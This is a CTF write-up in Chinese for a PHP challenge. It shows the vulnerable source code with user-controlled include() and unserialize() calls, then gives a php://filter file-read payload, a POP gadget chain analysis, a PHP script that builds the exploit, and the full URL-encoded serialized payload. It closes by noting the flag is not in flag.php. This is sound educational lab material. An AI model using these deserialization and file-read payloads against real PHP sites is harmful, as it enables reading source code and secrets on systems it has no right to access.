<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the beijing")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
<?php
class Modifier {
protected $var;
public function append($value){
include($value);//flag.php
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['password'])){
@unserialize($_GET['password']);
}
else{
$a=new Show;
}
?>
反序列化,利用点在include($value)
,控制$value
进行伪协议文件读取,构造POP
首先需要调用Modifier::append()
,构造触发Modifier::__invoke()
,将对象Modifier
赋给$p
然后Test::__get()
中存在将对象作为函数进行调用,接着构造触发Test::__get()
,将对象Test
赋给$str
,然后在Show::__toString()
中即可造成访问不可访问的属性,接着看看哪里触发Show::__toString()
,在Show::__wakeup()
中有preg_match()
,其中第二个参数是传入字符的,将对象Show
赋给$source
即可
POP链如下:
Modifier::append()<--Modifier::__invoke()<--Test::__get()<--Show::__toString()<--Show::__wakeup()
poc如下:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
$this->str->p = new Modifier();
}
}
class Test{
public $p;
}
$objshow = new Show();
$objshow->source = new Show();
echo urlencode(serialize($objshow));
?>
/?text=php://input&file=useless.php&password=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
flag.php
中没有发现flag
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("");
}
?>
尝试读取/flag